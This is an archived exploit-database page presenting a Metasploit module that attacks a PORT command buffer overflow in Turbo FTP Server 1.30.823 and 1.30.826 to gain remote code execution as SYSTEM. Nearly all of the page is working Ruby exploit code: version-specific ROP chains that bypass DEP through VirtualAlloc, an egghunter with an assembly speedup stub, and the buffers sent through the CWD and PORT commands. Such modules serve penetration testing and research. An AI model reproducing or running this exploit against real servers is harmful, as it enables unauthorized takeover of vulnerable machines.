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Turbo FTP Server 1.30.823 PORT Overflow

Turbo FTP Server 1.30.823 PORT Overflow
Posted Oct 22, 2012
Authored by corelanc0d3r, Lincoln, The Light Cosine, Zhao Liang | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability found in the PORT command in Turbo FTP Server versions 1.30.823 and 1.30.826, which results in remote code execution under the context of SYSTEM.

tags | exploit, remote, overflow, code execution
advisories | OSVDB-85887
MD5 | 27e9a65c70c079a0e79f716dceac7450

Turbo FTP Server 1.30.823 PORT Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'Turbo FTP Server 1.30.823 PORT Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the PORT
command in Turbo FTP Server 1.30.823 & 1.30.826, which results in remote
code execution under the context of SYSTEM.
},
'Author' =>
[
'Zhao Liang', #Initial Descovery
'Lincoln', #Metasploit
'corelanc0d3r', #Metasploit
'thelightcosine' #Metasploit
],
'License' => MSF_LICENSE,
'Platform' => [ 'win' ],
'References' =>
[
[ 'OSVDB', '85887' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => { 'BufferRegister' => 'EDI' }
},
'Targets' =>
[
[ 'Automatic', {} ],
['Windows Universal TurboFtp 1.30.823',
{
'Ret' => 0x00411985, # RETN (ROP NOP) [tbssvc.exe]
'ver' => 823
},

],
[ 'Windows Universal TurboFtp 1.30.826',
{
'Ret' => 0x004fb207, # RETN (ROP NOP) [tbssvc.exe]
'ver' => 826
},
],
],

'DisclosureDate' => 'Oct 03 2012',
'DefaultTarget' => 0))
end

def check
connect
disconnect
if (banner =~ /1\.30\.823/)
return Exploit::CheckCode::Vulnerable
elsif (banner =~ /1\.30\.826/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end


def create_rop_chain(ver)
# rop chain generated with mona.py - www.corelan.be
if ver == 823
rop_gadgets =
[
0x004b692a, # POP ECX # RETN [tbssvc.exe]
0x005f6074, # ptr to &VirtualAlloc() [IAT tbssvc.exe]
0x0046f82a, # MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
0x00423b95, # XCHG EDX,EDI # RETN [tbssvc.exe]
0x00423a27, # XCHG ESI,EDI # RETN [tbssvc.exe]
0x005d1c99, # POP EBP # RETN [tbssvc.exe]
0x004cad5d, # & jmp esp [tbssvc.exe]
0x004ab16b, # POP EBX # RETN [tbssvc.exe]
0x00000001, # 0x00000001-> ebx
0x005ef7f6, # POP EDX # RETN [tbssvc.exe]
0x00001000, # 0x00001000-> edx
0x005d7139, # POP ECX # RETN [tbssvc.exe]
0x00000040, # 0x00000040-> ecx
0x004df1e0, # POP EDI # RETN [tbssvc.exe]
0x00411985, # RETN (ROP NOP) [tbssvc.exe]
0x00502639, # POP EAX # RETN [tbssvc.exe]
0x90909090, # nop
0x00468198, # PUSHAD # RETN [tbssvc.exe]
].flatten.pack("V*")

elsif ver == 826
rop_gadgets =
[
0x0050eae4, # POP ECX # RETN [tbssvc.exe]
0x005f7074, # ptr to &VirtualAlloc() [IAT tbssvc.exe]
0x004aa7aa, # MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
0x00496A65, # XOR EAX,EAX [tbssvc.exe]
0x004badda, # ADD EAX,EDX # RETN [tbssvc.exe]
0x00411867, # XCHG EAX,ESI # XOR EAX,EAX # POP EBX # RETN [tbssvc.exe]
0x00000001, # 0x00000001-> ebx
0x0058a27a, # POP EBP # RETN [tbssvc.exe]
0x004df7dd, # & call esp [tbssvc.exe]
0x005f07f6, # POP EDX # RETN [tbssvc.exe]
0x00001000, # 0x00001000-> edx
0x004adc08, # POP ECX # RETN [tbssvc.exe]
0x00000040, # 0x00000040-> ecx
0x00465fbe, # POP EDI # RETN [tbssvc.exe]
0x004fb207, # RETN (ROP NOP) [tbssvc.exe]
0x00465f36, # POP EAX # RETN [tbssvc.exe]
0x90909090, # nop
0x004687ff, # PUSHAD # RETN [tbssvc.exe]
].flatten.pack("V*")
end
return rop_gadgets

end

def exploit
my_target = target
if my_target.name == 'Automatic'
print_status("Automatically detecting the target")
connect
disconnect

if (banner =~ /1\.30\.823/)
my_target = targets[1]
elsif (banner =~ /1\.30\.826/)
my_target = targets[2]
end
if (not my_target)
print_status("No matching target...quiting")
return
end
target = my_target
end

print_status("Selected Target: #{my_target.name}")
connect_login

rop_chain = create_rop_chain(target['ver'])
rop = rop_chain.unpack('C*').join(',')

eggoptions =
{
:checksum => true,
:eggtag => 'w00t',
:depmethod => 'virtualalloc',
:depreg => 'esi'
}

badchars = "\x00"
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

speedupasm = "mov edx,eax\n"
speedupasm << "sub edx,0x1000\n"
speedupasm << "sub esp,0x1000"
speedup = Metasm::Shellcode.assemble(Metasm::Ia32.new, speedupasm).encode_string

fasterhunter = speedup
fasterhunter << hunter

print_status("Connecting to target #{target.name} server")

buf1 = rand_text_alpha(2012)
buf1 << egg
buf1 << rand_text_alpha(100)

buf2 = rand_text_alpha(4).unpack('C*').join(',')
buf2 << ","
buf2 << [target['Ret']].pack("V").unpack('C*').join(',') #eip
buf2 << ","
buf2 << rop
buf2 << ","
buf2 << fasterhunter.unpack('C*').join(',')
buf2 << ","
buf2 << rand_text_alpha(90).unpack('C*').join(',')

send_cmd( ['CWD', buf1], true );
send_cmd( ['PORT', buf2], true );

print_status("Egghunter deployed, locating shellcode")

handler
disconnect
end

end

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